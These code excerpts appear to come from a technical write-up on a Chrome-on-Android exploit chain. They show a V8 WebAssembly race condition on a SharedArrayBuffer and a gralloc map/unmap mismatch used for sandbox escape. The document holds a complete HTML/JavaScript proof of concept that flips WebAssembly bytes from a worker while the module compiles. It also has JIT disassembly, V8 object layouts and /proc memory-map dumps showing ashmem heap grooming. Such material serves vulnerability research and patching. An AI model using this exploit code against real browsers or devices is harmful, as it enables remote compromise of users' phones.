i::wasm::ModuleWireBytes GetFirstArgumentAsBytes( const v8::FunctionCallbackInfo<v8::Value>& args, ErrorThrower* thrower) { ...... } else if (source->IsTypedArray()) { //--->source should be checked if it's backed by a SharedArrayBuffer // A TypedArray was passed. Local<TypedArray> array = Local<TypedArray>::Cast(source); Local<ArrayBuffer> buffer = array->Buffer(); ArrayBuffer::Contents contents = buffer->GetContents(); start = reinterpret_cast<const byte*>(contents.Data()) + array->ByteOffset(); length = array->ByteLength(); } ...... return i::wasm::ModuleWireBytes(start, start + length); }
<html> <h1>poc</h1> <script id="worker1"> worker:{ self.onmessage = function(arg) { console.log("worker started"); var ta = new Uint8Array(arg.data); var i =0; while(1){ if(i==0){ i=1; ta[51]=0; //--->4)modify the webassembly code at the same time }else{ i=0; ta[51]=128; } } } } </script> <script> function getSharedTypedArray(){ var wasmarr = [ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x03, 0x02, 0x00, 0x00, 0x07, 0x12, 0x01, 0x0e, 0x67, 0x65, 0x74, 0x41, 0x6e, 0x73, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, 0x73, 0x31, 0x00, 0x01, 0x0a, 0x0e, 0x02, 0x04, 0x00, 0x41, 0x2a, 0x0b, 0x07, 0x00, 0x10, 0x00, 0x41, 0x01, 0x6a, 0x0b]; var sb = new SharedArrayBuffer(wasmarr.length); //---> 1)put WebAssembly code in a SharedArrayBuffer var sta = new Uint8Array(sb); for(var i=0;i<sta.length;i++) sta[i]=wasmarr[i]; return sta; } var blob = new Blob([ document.querySelector('#worker1').textContent ], { type: "text/javascript" }) var worker = new Worker(window.URL.createObjectURL(blob)); //---> 2)create a web worker var sta = getSharedTypedArray(); worker.postMessage(sta.buffer); //--->3)pass the WebAssembly code to the web worker setTimeout(function(){ while(1){ try{ sta[51]=0; var myModule = new WebAssembly.Module(sta); //--->4)parse the WebAssembly code var myInstance = new WebAssembly.Instance(myModule); //myInstance.exports.getAnswerPlus1(); }catch(e){ } } },1000); //worker.terminate(); </script> </html>
00002b func[0]: 00002d: 41 2a | i32.const 42 00002f: 0b | end 000030 func[1]: 000032: 10 00 | call 0 000034: 41 01 | i32.const 1 000036: 6a | i32.add 000037: 0b | end
(func $leak(param i32 i32 i32 i32 i32 i32)(result i32) i32.const 0 get_local 0 i32.store i32.const 4 get_local 1 i32.store i32.const 8 get_local 2 i32.store i32.const 12 get_local 3 i32.store i32.const 16 get_local 4 i32.store i32.const 20 get_local 5 i32.store i32.const 0 ))
/*Text format of funcx*/ (func $simple6 (param i32 i32 i32 i32 i32 i32 ) (result i32) get_local 5 get_local 4 i32.add) /*Disassembly code of funcx*/ --- Code --- kind = WASM_FUNCTION name = wasm#1 compiler = turbofan Instructions (size = 20) 0x58f87600 0 8b442404 mov eax,[esp+0x4] 0x58f87604 4 03c6 add eax,esi 0x58f87606 6 c20400 ret 0x4 0x58f87609 9 0f1f00 nop Safepoints (size = 8) RelocInfo (size = 0) --- End code ---
/*Disassembly code of JS_TO_WASM function */ --- Code --- kind = JS_TO_WASM_FUNCTION name = js-to-wasm#0 compiler = turbofan Instructions (size = 170) 0x4be08f20 0 55 push ebp 0x4be08f21 1 89e5 mov ebp,esp 0x4be08f23 3 56 push esi 0x4be08f24 4 57 push edi 0x4be08f25 5 83ec08 sub esp,0x8 0x4be08f28 8 8b4508 mov eax,[ebp+0x8] 0x4be08f2b b e8702e2bde call 0x2a0bbda0 (ToNumber) ;; code: BUILTIN 0x4be08f30 10 a801 test al,0x1 0x4be08f32 12 0f852a000000 jnz 0x4be08f62 <+0x42>
/* ArrayBuffer layouts 40 Bytes*/ Map Properties Elements ByteLength BackingStore AllocationBase AllocationLength Fields internal internal /* Map layouts 44 Bytes*/ static kMapOffset = 0, static kInstanceSizesOffset = 4, static kInstanceAttributesOffset = 8, static kBitField3Offset = 12, static kPrototypeOffset = 16, static kConstructorOrBackPointerOffset = 20, static kTransitionsOrPrototypeInfoOffset = 24, static kDescriptorsOffset = 28, static kLayoutDescriptorOffset = 1, static kCodeCacheOffset = 32, static kDependentCodeOffset = 36, static kWeakCellCacheOffset = 40, static kPointerFieldsBeginOffset = 16, static kPointerFieldsEndOffset = 44, static kInstanceSizeOffset = 4, static kInObjectPropertiesOrConstructorFunctionIndexOffset = 5, static kUnusedOffset = 6, static kVisitorIdOffset = 7, static kInstanceTypeOffset = 8, //one byte static kBitFieldOffset = 9, static kInstanceTypeAndBitFieldOffset = 8, static kBitField2Offset = 10, static kUnusedPropertyFieldsOffset = 11
static int gralloc_map(gralloc_module_t const* module, buffer_handle_t handle) { …… private_handle_t* hnd = (private_handle_t*)handle; …… if (!(hnd->flags & private_handle_t::PRIV_FLAGS_FRAMEBUFFER) && !(hnd->flags & private_handle_t::PRIV_FLAGS_SECURE_BUFFER)) { size = hnd->size; err = memalloc->map_buffer(&mappedAddress, size, hnd->offset, hnd->fd); //---> mapped an ashmem and get the mapped address. the ashmem fd and offset can be controlled by Chrome render process. if(err || mappedAddress == MAP_FAILED) { ALOGE("Could not mmap handle %p, fd=%d (%s)", handle, hnd->fd, strerror(errno)); return -errno; } hnd->base = uint64_t(mappedAddress) + hnd->offset; //---> save mappedAddress+offset to hnd->base } else { err = -EACCES; } …… return err; }
static int gralloc_unmap(gralloc_module_t const* module, buffer_handle_t handle) { …… if(hnd->base) { err = memalloc->unmap_buffer((void*)hnd->base, hnd->size, hnd->offset); //---> while unmapping, hnd->offset is not used, hnd->base is used as the base address, map and unmap are mismatched. if (err) { ALOGE("Could not unmap memory at address %p, %s", (void*) hnd->base, strerror(errno)); return -errno; } hnd->base = 0; } …… return 0; } int IonAlloc::unmap_buffer(void *base, unsigned int size, unsigned int /*offset*/) //---> look, offset is not used by unmap_buffer { int err = 0; if(munmap(base, size)) { err = -errno; ALOGE("ion: Failed to unmap memory at %p : %s", base, strerror(errno)); } return err; }
52neverallow isolated_app { 53 service_manager_type 54 -activity_service 55 -display_service 56 -webviewupdate_service 57}:service_manager find;
7f54600000-7f54800000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f58000000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted) ......
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] //--->There is a 2MB memory gap 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->The gap is filled with the ashmem memory 360alpha1001 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
7f54400000-7f54600000 rw-s 00000000 00:04 31603 /dev/ashmem/360alpha1000 (deleted) 7f54600000-7f547ff000 rw-p 00000000 00:00 0 [anon:libc_malloc] 7f547ff000-7f549ff000 rw-s 00000000 00:04 31605 /dev/ashmem/360alpha1001 (deleted) //--->the heap manager believes the memory range from 0x7f547ff000 to 0x7f54800000 is still mongered by it and will allocate memory from this range, result in heap data is written to ashmem memory 7f549ff000-7f54a00000 rw-s 001fe000 00:04 32783 /dev/ashmem/360alpha29 (deleted) 7f54a00000-7f54c00000 rw-s 00000000 00:04 32781 /dev/ashmem/360alpha28 (deleted) 7f54c00000-7f54e00000 rw-s 00000000 00:04 32779 /dev/ashmem/360alpha27 (deleted) 7f54e00000-7f55000000 rw-s 00000000 00:04 32777 /dev/ashmem/360alpha26 (deleted) 7f55000000-7f55200000 rw-s 00000000 00:04 32775 /dev/ashmem/360alpha25 (deleted)
typedef struct android_native_base_t { /* a magic value defined by the actual EGL native type */ int magic; /* the sizeof() of the actual EGL native type */ int version; void* reserved[4]; /* reference-counting interface */ void (*incRef)(struct android_native_base_t* base); void (*decRef)(struct android_native_base_t* base); } android_native_base_t;